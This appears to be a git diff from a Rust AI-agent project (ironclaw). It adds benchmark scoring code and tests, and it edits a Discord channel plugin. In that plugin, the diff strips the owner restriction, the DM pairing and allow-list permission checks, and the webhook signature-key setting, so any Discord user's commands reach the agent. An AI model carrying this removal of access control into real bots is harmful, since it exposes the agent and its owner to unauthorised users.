score: crate::suite::BenchScore::fail(reason),
trace: Trace {
wall_time_ms: 0,
llm_calls: 0,
input_tokens: 0,
output_tokens: 0,
estimated_cost_usd: 0.0,
tool_calls: vec![],
turns: 0,
hit_iteration_limit: false,
hit_timeout: false,
},
response: String::new(),
started_at,
finished_at: Utc::now(),
config_label: config_label.to_string(),
error: Some(reason.to_string()),
}
}
/// Get the short git commit hash of HEAD, or "unknown" if not in a repo.
fn git_short_hash() -> String {
std::process::Command::new("git")
.args(["rev-parse", "--short", "HEAD"])
.output()
.ok()
.and_then(|o| {
if o.status.success() {
Some(String::from_utf8_lossy(&o.stdout).trim().to_string())
} else {
None
}
})
.unwrap_or_else(|| "unknown".to_string())
}
+113
View File
@@ -0,0 +1,113 @@
use regex::Regex;
use crate::suite::BenchScore;
/// Normalize an answer string for comparison: lowercase, trim whitespace,
/// strip trailing punctuation, collapse internal whitespace.
pub fn normalize_answer(s: &str) -> String {
let trimmed = s.trim().to_lowercase();
let collapsed: String = trimmed.split_whitespace().collect::<Vec<_>>().join(" ");
collapsed.trim_end_matches(['.', ',', ';', '!']).to_string()
}
/// Exact match after normalization.
pub fn exact_match(expected: &str, actual: &str) -> BenchScore {
let norm_expected = normalize_answer(expected);
let norm_actual = normalize_answer(actual);
if norm_expected == norm_actual {
BenchScore::pass()
} else {
BenchScore::fail(format!(
"expected \"{norm_expected}\", got \"{norm_actual}\""
))
}
}
/// Check if the actual answer contains the expected substring (normalized).
pub fn contains_match(expected_substring: &str, actual: &str) -> BenchScore {
let norm_expected = normalize_answer(expected_substring);
let norm_actual = normalize_answer(actual);
if norm_actual.contains(&norm_expected) {
BenchScore::pass()
} else {
BenchScore::fail(format!("response does not contain \"{norm_expected}\""))
}
}
/// Check if the actual answer matches a regex pattern.
pub fn regex_match(pattern: &str, actual: &str) -> BenchScore {
match Regex::new(pattern) {
Ok(re) => {
if re.is_match(actual) {
BenchScore::pass()
} else {
BenchScore::fail(format!("response does not match pattern /{pattern}/"))
}
}
Err(e) => BenchScore::fail(format!("invalid regex pattern: {e}")),
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_normalize_answer() {
assert_eq!(normalize_answer(" Hello World. "), "hello world");
assert_eq!(normalize_answer("Yes!"), "yes");
assert_eq!(normalize_answer("42"), "42");
assert_eq!(normalize_answer(" "), "");
}
#[test]
fn test_exact_match_pass() {
let score = exact_match("Hello World", " hello world. ");
assert_eq!(score.value, 1.0);
assert_eq!(score.label, "pass");
}
#[test]
fn test_exact_match_fail() {
let score = exact_match("hello", "world");
assert_eq!(score.value, 0.0);
assert_eq!(score.label, "fail");
}
#[test]
fn test_contains_match_pass() {
let score = contains_match("world", "Hello World!");
assert_eq!(score.value, 1.0);
}
#[test]
fn test_contains_match_fail() {
let score = contains_match("xyz", "Hello World!");
assert_eq!(score.value, 0.0);
}
#[test]
fn test_regex_match_pass() {
let score = regex_match(r"\d{4}", "The year is 2024.");
assert_eq!(score.value, 1.0);
}
#[test]
fn test_regex_match_fail() {
let score = regex_match(r"\d{4}", "No numbers here.");
assert_eq!(score.value, 0.0);
}
#[test]
fn test_regex_match_invalid_pattern() {
let score = regex_match(r"[invalid", "anything");
assert_eq!(score.value, 0.0);
assert!(
score
.details
.as_deref()
.unwrap_or("")
.contains("invalid regex")
);
}
}
+154
View File
@@ -0,0 +1,154 @@
use std::sync::Arc;
use std::time::Duration;
use async_trait::async_trait;
use crate::error::BenchError;
/// A single task in a benchmark suite.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct BenchTask {
pub id: String,
pub prompt: String,
#[serde(default)]
pub context: Option<String>,
#[serde(default)]
pub resources: Vec<TaskResource>,
#[serde(default)]
pub tags: Vec<String>,
#[serde(default)]
pub expected_turns: Option<usize>,
#[serde(default)]
pub timeout: Option<Duration>,
#[serde(default)]
pub metadata: serde_json::Value,
}
/// A resource attached to a benchmark task (file, URL, etc.).
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct TaskResource {
pub name: String,
pub path: String,
#[serde(default)]
pub resource_type: ResourceType,
}
#[derive(Debug, Clone, Default, serde::Serialize, serde::Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum ResourceType {
#[default]
File,
Url,
Directory,
}
/// What the agent produced for scoring.
#[derive(Debug, Clone)]
#[allow(dead_code)]
pub struct TaskSubmission {
pub response: String,
pub conversation: Vec<ConversationTurn>,
pub tool_calls: Vec<String>,
pub error: Option<String>,
}
/// A single turn in a multi-turn conversation.
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
pub struct ConversationTurn {
pub role: TurnRole,
pub content: String,
}
#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)]
#[serde(rename_all = "snake_case")]
pub enum TurnRole {
User,
Assistant,
System,
}
/// Score for a single task.
#[derive(Debug, Clone, PartialEq, serde::Serialize, serde::Deserialize)]
pub struct BenchScore {
/// 0.0 to 1.0 (1.0 = perfect).
pub value: f64,
/// "pass" / "fail" / "partial".
pub label: String,
#[serde(default)]
pub details: Option<String>,
}
impl BenchScore {
pub fn pass() -> Self {
Self {
value: 1.0,
label: "pass".to_string(),
details: None,
}
}
pub fn fail(details: impl Into<String>) -> Self {
Self {
value: 0.0,
label: "fail".to_string(),
details: Some(details.into()),
}
}
pub fn partial(value: f64, details: impl Into<String>) -> Self {
Self {
value: value.clamp(0.0, 1.0),
label: "partial".to_string(),
details: Some(details.into()),
}
}
}
/// Trait for benchmark suite adapters.
///
/// Each suite (GAIA, Tau-bench, custom, etc.) implements this trait
/// to provide task loading, scoring, and optional lifecycle hooks.
#[async_trait]
#[allow(dead_code)]
pub trait BenchSuite: Send + Sync {
/// Human-readable name (e.g., "GAIA Validation").
fn name(&self) -> &str;
/// Machine ID (e.g., "gaia").
fn id(&self) -> &str;
/// Load all tasks from the suite's data source.
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError>;
/// Score the agent's submission against the expected answer.
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError>;
/// Optional: set up environment before running a task (clone repo, init DB, etc.).
async fn setup_task(&self, _task: &BenchTask) -> Result<(), BenchError> {
Ok(())
}
/// Optional: tear down environment after a task completes.
async fn teardown_task(&self, _task: &BenchTask) -> Result<(), BenchError> {
Ok(())
}
/// Optional: additional tools to register for this suite's tasks.
fn additional_tools(&self) -> Vec<Arc<dyn ironclaw::tools::Tool>> {
vec![]
}
/// Multi-turn: generate next simulated user message based on conversation so far.
/// Return `None` to end the conversation.
async fn next_user_message(
&self,
_task: &BenchTask,
_conversation: &[ConversationTurn],
) -> Result<Option<String>, BenchError> {
Ok(None)
}
}
+1 -92
View File
@@ -10,17 +10,12 @@
//! Prerequisites: rustup target add wasm32-wasip2, cargo install wasm-tools
use std::env;
use std::path::{Path, PathBuf};
use std::path::PathBuf;
use std::process::Command;
fn main() {
let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap();
let root = PathBuf::from(&manifest_dir);
// ── Embed registry manifests ────────────────────────────────────────
embed_registry_catalog(&root);
// ── Build Telegram channel WASM ─────────────────────────────────────
let channel_dir = root.join("channels-src/telegram");
let wasm_out = channel_dir.join("telegram.wasm");
@@ -109,89 +104,3 @@ fn main() {
}
}
}
/// Collect all registry manifests into a single JSON blob at compile time.
///
/// Output: `$OUT_DIR/embedded_catalog.json` with structure:
/// ```json
/// { "tools": [...], "channels": [...], "bundles": {...} }
/// ```
fn embed_registry_catalog(root: &Path) {
use std::fs;
let registry_dir = root.join("registry");
// Rerun if the bundles file changes (per-file watches for tools/channels
// are emitted inside collect_json_files to track content changes reliably).
println!("cargo:rerun-if-changed=registry/_bundles.json");
let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap());
let out_path = out_dir.join("embedded_catalog.json");
if !registry_dir.is_dir() {
// No registry dir: write empty catalog
fs::write(
&out_path,
r#"{"tools":[],"channels":[],"bundles":{"bundles":{}}}"#,
)
.unwrap();
return;
}
let mut tools = Vec::new();
let mut channels = Vec::new();
// Collect tool manifests
let tools_dir = registry_dir.join("tools");
if tools_dir.is_dir() {
collect_json_files(&tools_dir, &mut tools);
}
// Collect channel manifests
let channels_dir = registry_dir.join("channels");
if channels_dir.is_dir() {
collect_json_files(&channels_dir, &mut channels);
}
// Read bundles
let bundles_path = registry_dir.join("_bundles.json");
let bundles_raw = if bundles_path.is_file() {
fs::read_to_string(&bundles_path).unwrap_or_else(|_| r#"{"bundles":{}}"#.to_string())
} else {
r#"{"bundles":{}}"#.to_string()
};
// Build the combined JSON
let catalog = format!(
r#"{{"tools":[{}],"channels":[{}],"bundles":{}}}"#,
tools.join(","),
channels.join(","),
bundles_raw,
);
fs::write(&out_path, catalog).unwrap();
}
/// Read all .json files from a directory and push their raw contents into `out`.
fn collect_json_files(dir: &Path, out: &mut Vec<String>) {
use std::fs;
let mut entries: Vec<_> = fs::read_dir(dir)
.unwrap()
.filter_map(|e| e.ok())
.filter(|e| {
e.path().is_file() && e.path().extension().and_then(|x| x.to_str()) == Some("json")
})
.collect();
// Sort for deterministic output
entries.sort_by_key(|e| e.file_name());
for entry in entries {
// Emit per-file watch so Cargo reruns when file contents change
println!("cargo:rerun-if-changed={}", entry.path().display());
if let Ok(content) = fs::read_to_string(entry.path()) {
out.push(content);
}
}
}
-401
View File
@@ -1,401 +0,0 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "ahash"
version = "0.8.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
dependencies = [
"cfg-if",
"once_cell",
"version_check",
"zerocopy",
]
[[package]]
name = "anyhow"
version = "1.0.102"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c"
[[package]]
name = "bitflags"
version = "2.11.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "843867be96c8daad0d758b57df9392b6d8d271134fce549de6ce169ff98a92af"
[[package]]
name = "cfg-if"
version = "1.0.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
[[package]]
name = "discord-channel"
version = "0.1.0"
dependencies = [
"serde",
"serde_json",
"wit-bindgen",
]
[[package]]
name = "equivalent"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
[[package]]
name = "hashbrown"
version = "0.14.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1"
dependencies = [
"ahash",
]
[[package]]
name = "hashbrown"
version = "0.16.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "841d1cc9bed7f9236f321df977030373f4a4163ae1a7dbfe1a51a2c1a51d9100"
[[package]]
name = "heck"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
[[package]]
name = "id-arena"
version = "2.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3d3067d79b975e8844ca9eb072e16b31c3c1c36928edf9c6789548c524d0d954"
[[package]]
name = "indexmap"
version = "2.13.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7714e70437a7dc3ac8eb7e6f8df75fd8eb422675fc7678aff7364301092b1017"
dependencies = [
"equivalent",
"hashbrown 0.16.1",
"serde",
"serde_core",
]
[[package]]
name = "itoa"
version = "1.0.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2"
[[package]]
name = "leb128"
version = "0.2.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "884e2677b40cc8c339eaefcb701c32ef1fd2493d71118dc0ca4b6a736c93bd67"
[[package]]
name = "log"
version = "0.4.29"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
[[package]]
name = "memchr"
version = "2.8.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79"
[[package]]
name = "once_cell"
version = "1.21.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
[[package]]
name = "prettyplease"
version = "0.2.37"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b"
dependencies = [
"proc-macro2",
"syn",
]
[[package]]
name = "proc-macro2"
version = "1.0.106"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.44"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "21b2ebcf727b7760c461f091f9f0f539b77b8e87f2fd88131e7f1b433b3cece4"
dependencies = [
"proc-macro2",
]
[[package]]
name = "semver"
version = "1.0.27"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d767eb0aabc880b29956c35734170f26ed551a859dbd361d140cdbeca61ab1e2"
[[package]]
name = "serde"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"
dependencies = [
"serde_core",
"serde_derive",
]
[[package]]
name = "serde_core"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"
dependencies = [
"serde_derive",
]
[[package]]
name = "serde_derive"
version = "1.0.228"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "serde_json"
version = "1.0.149"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86"
dependencies = [
"itoa",
"memchr",
"serde",
"serde_core",
"zmij",
]
[[package]]
name = "smallvec"
version = "1.15.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
[[package]]
name = "spdx"
version = "0.10.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c3e17e880bafaeb362a7b751ec46bdc5b61445a188f80e0606e68167cd540fa3"
dependencies = [
"smallvec",
]
[[package]]
name = "syn"
version = "2.0.117"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "unicode-ident"
version = "1.0.24"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
[[package]]
name = "unicode-xid"
version = "0.2.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
[[package]]
name = "version_check"
version = "0.9.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
[[package]]
name = "wasm-encoder"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e913f9242315ca39eff82aee0e19ee7a372155717ff0eb082c741e435ce25ed1"
dependencies = [
"leb128",
"wasmparser",
]
[[package]]
name = "wasm-metadata"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "185dfcd27fa5db2e6a23906b54c28199935f71d9a27a1a27b3a88d6fee2afae7"
dependencies = [
"anyhow",
"indexmap",
"serde",
"serde_derive",
"serde_json",
"spdx",
"wasm-encoder",
"wasmparser",
]
[[package]]
name = "wasmparser"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8d07b6a3b550fefa1a914b6d54fc175dd11c3392da11eee604e6ffc759805d25"
dependencies = [
"ahash",
"bitflags",
"hashbrown 0.14.5",
"indexmap",
"semver",
]
[[package]]
name = "wit-bindgen"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6a2b3e15cd6068f233926e7d8c7c588b2ec4fb7cc7bf3824115e7c7e2a8485a3"
dependencies = [
"wit-bindgen-rt",
"wit-bindgen-rust-macro",
]
[[package]]
name = "wit-bindgen-core"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b632a5a0fa2409489bd49c9e6d99fcc61bb3d4ce9d1907d44662e75a28c71172"
dependencies = [
"anyhow",
"heck",
"wit-parser",
]
[[package]]
name = "wit-bindgen-rt"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7947d0131c7c9da3f01dfde0ab8bd4c4cf3c5bd49b6dba0ae640f1fa752572ea"
dependencies = [
"bitflags",
]
[[package]]
name = "wit-bindgen-rust"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4329de4186ee30e2ef30a0533f9b3c123c019a237a7c82d692807bf1b3ee2697"
dependencies = [
"anyhow",
"heck",
"indexmap",
"prettyplease",
"syn",
"wasm-metadata",
"wit-bindgen-core",
"wit-component",
]
[[package]]
name = "wit-bindgen-rust-macro"
version = "0.36.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "177fb7ee1484d113b4792cc480b1ba57664bbc951b42a4beebe573502135b1fc"
dependencies = [
"anyhow",
"prettyplease",
"proc-macro2",
"quote",
"syn",
"wit-bindgen-core",
"wit-bindgen-rust",
]
[[package]]
name = "wit-component"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b505603761ed400c90ed30261f44a768317348e49f1864e82ecdc3b2744e5627"
dependencies = [
"anyhow",
"bitflags",
"indexmap",
"log",
"serde",
"serde_derive",
"serde_json",
"wasm-encoder",
"wasm-metadata",
"wasmparser",
"wit-parser",
]
[[package]]
name = "wit-parser"
version = "0.220.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae2a7999ed18efe59be8de2db9cb2b7f84d88b27818c79353dfc53131840fe1a"
dependencies = [
"anyhow",
"id-arena",
"indexmap",
"log",
"semver",
"serde",
"serde_derive",
"serde_json",
"unicode-xid",
"wasmparser",
]
[[package]]
name = "zerocopy"
version = "0.8.39"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "db6d35d663eadb6c932438e763b262fe1a70987f9ae936e60158176d710cae4a"
dependencies = [
"zerocopy-derive",
]
[[package]]
name = "zerocopy-derive"
version = "0.8.39"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4122cd3169e94605190e77839c9a40d40ed048d305bfdc146e7df40ab0f3e517"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "zmij"
version = "1.0.21"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa"
+1 -1
View File
@@ -9,7 +9,7 @@ publish = false
[dependencies]
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
wit-bindgen = "0.36"
wit-bindgen = "0.41.0"
[lib]
crate-type = ["cdylib"]
-48
View File
@@ -1,48 +0,0 @@
#!/usr/bin/env bash
# Build the Discord channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - discord.wasm - WASM component ready for deployment
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building Discord channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
# Optimize the component
wasm-tools strip discord.wasm -o discord.wasm
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your bot token to secrets:"
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
+2 -22
View File
@@ -2,20 +2,6 @@
"type": "channel",
"name": "discord",
"description": "Discord Gateway/Webhook channel for handling slash commands, buttons, and messages",
"setup": {
"required_secrets": [
{
"name": "discord_bot_token",
"prompt": "Enter your Discord Bot Token (from Developer Portal)",
"optional": false
},
{
"name": "discord_public_key",
"prompt": "Enter your Discord Application Public Key (from Developer Portal > General Information)",
"optional": false
}
]
},
"capabilities": {
"http": {
"allowlist": [
@@ -24,7 +10,7 @@
"credentials": {
"discord_bot_token": {
"secret_name": "discord_bot_token",
"location": { "type": "header", "name": "Authorization", "prefix": "Bot " },
"location": { "type": "header", "header_name": "Authorization", "prefix": "Bot " },
"host_patterns": ["discord.com"]
}
},
@@ -44,16 +30,10 @@
"emit_rate_limit": {
"messages_per_minute": 100,
"messages_per_hour": 5000
},
"webhook": {
"signature_key_secret_name": "discord_public_key"
}
}
},
"config": {
"require_signature_verification": true,
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
"require_signature_verification": true
}
}
+16 -226
View File
@@ -124,57 +124,12 @@ struct DiscordMessageMetadata {
thread_id: Option<String>,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "discord";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct DiscordConfig {
#[serde(default)]
#[allow(dead_code)]
require_signature_verification: bool,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
struct DiscordChannel;
impl Guest for DiscordChannel {
fn on_start(config_json: String) -> Result<ChannelConfig, String> {
let config: DiscordConfig = serde_json::from_str(&config_json)
.map_err(|e| format!("Failed to parse config: {}", e))?;
fn on_start(_config_json: String) -> Result<ChannelConfig, String> {
channel_host::log(channel_host::LogLevel::Info, "Discord channel starting");
// Persist owner_id so subsequent callbacks can read it
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
// Persist dm_policy and allow_from for DM pairing
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
Ok(ChannelConfig {
display_name: "Discord".to_string(),
http_endpoints: vec![HttpEndpointConfig {
@@ -214,21 +169,16 @@ impl Guest for DiscordChannel {
// Application Command (slash command)
2 => {
if handle_slash_command(&interaction) {
json_response(200, serde_json::json!({"type": 5}))
} else {
// Permission denied — ephemeral response
json_response(
200,
serde_json::json!({
"type": 4,
"data": {
"content": "You are not authorized to use this bot.",
"flags": 64
}
}),
)
}
handle_slash_command(&interaction);
json_response(
200,
serde_json::json!({
"type": 5,
"data": {
"content": "🤔 Thinking..."
}
}),
)
}
// Message Component (buttons, selects)
@@ -320,8 +270,7 @@ impl Guest for DiscordChannel {
}
}
/// Returns true if the message was emitted, false if permission denied.
fn handle_slash_command(interaction: &DiscordInteraction) -> bool {
fn handle_slash_command(interaction: &DiscordInteraction) {
let user = interaction
.member
.as_ref()
@@ -338,22 +287,6 @@ fn handle_slash_command(interaction: &DiscordInteraction) -> bool {
})
.unwrap_or_default();
// DM if no guild member context (only direct user field set)
let is_dm = interaction.member.is_none();
// Permission check
if !check_sender_permission(
&user_id,
Some(&user_name),
is_dm,
Some(&PairingReplyCtx {
application_id: interaction.application_id.clone(),
token: interaction.token.clone(),
}),
) {
return false;
}
let channel_id = interaction.channel_id.clone().unwrap_or_default();
let command_name = interaction
@@ -389,13 +322,14 @@ fn handle_slash_command(interaction: &DiscordInteraction) -> bool {
channel_host::LogLevel::Error,
&format!("Failed to serialize metadata: {}", e),
);
// Attempt to notify user of internal error
let url = format!(
"https://discord.com/api/v10/webhooks/{}/{}",
interaction.application_id, interaction.token
);
let payload = serde_json::json!({
"content": "❌ Internal Error: Failed to process command metadata.",
"flags": 64
"flags": 64 // Ephemeral
});
let _ = channel_host::http_request(
"POST",
@@ -404,7 +338,7 @@ fn handle_slash_command(interaction: &DiscordInteraction) -> bool {
Some(&serde_json::to_vec(&payload).unwrap_or_default()),
None,
);
return true; // Error, but not a permission denial
return;
}
};
@@ -415,10 +349,10 @@ fn handle_slash_command(interaction: &DiscordInteraction) -> bool {
thread_id: None,
metadata_json,
});
true
}
fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordMessage) {
// Check member first (for server contexts), then user (for DMs)
let user = interaction
.member
.as_ref()
@@ -435,11 +369,6 @@ fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordM
})
.unwrap_or_default();
let is_dm = interaction.member.is_none();
if !check_sender_permission(&user_id, Some(&user_name), is_dm, None) {
return;
}
let channel_id = message.channel_id.clone();
let metadata = DiscordMessageMetadata {
@@ -470,145 +399,6 @@ fn handle_message_component(interaction: &DiscordInteraction, message: &DiscordM
});
}
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Context needed to send a pairing reply via Discord webhook followup.
struct PairingReplyCtx {
application_id: String,
token: String,
}
/// Check if a sender is permitted to interact with the bot.
/// Returns true if allowed, false if denied (pairing reply sent if applicable).
fn check_sender_permission(
user_id: &str,
username: Option<&str>,
is_dm: bool,
reply_ctx: Option<&PairingReplyCtx>,
) -> bool {
// 1. Owner check (highest priority, applies to all contexts)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if user_id != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping interaction from non-owner user {} (owner: {})",
user_id, owner
),
);
return false;
}
return true;
}
// 2. DM policy (only for DMs when no owner_id)
if !is_dm {
return true; // Guild interactions bypass DM policy
}
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list: config allow_from + pairing store
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender against allow list
let is_allowed = allowed.contains(&"*".to_string())
|| allowed.contains(&user_id.to_string())
|| username.is_some_and(|u| allowed.contains(&u.to_string()));
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"user_id": user_id,
"username": username,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, user_id, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for user {}: code {}",
user_id, result.code
),
);
if result.created {
if let Some(ctx) = reply_ctx {
let _ = send_pairing_reply(ctx, &result.code);
}
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code as an ephemeral Discord followup message.
fn send_pairing_reply(ctx: &PairingReplyCtx, code: &str) -> Result<(), String> {
let url = format!(
"https://discord.com/api/v10/webhooks/{}/{}",
ctx.application_id, ctx.token
);
let payload = serde_json::json!({
"content": format!(
"To pair with this bot, run: `ironclaw pairing approve discord {}`",
code
),
"flags": 64 // Ephemeral — only visible to the sender
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({"Content-Type": "application/json"});
let result = channel_host::http_request(
"POST",
&url,
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status >= 200 && response.status < 300 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"Discord API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
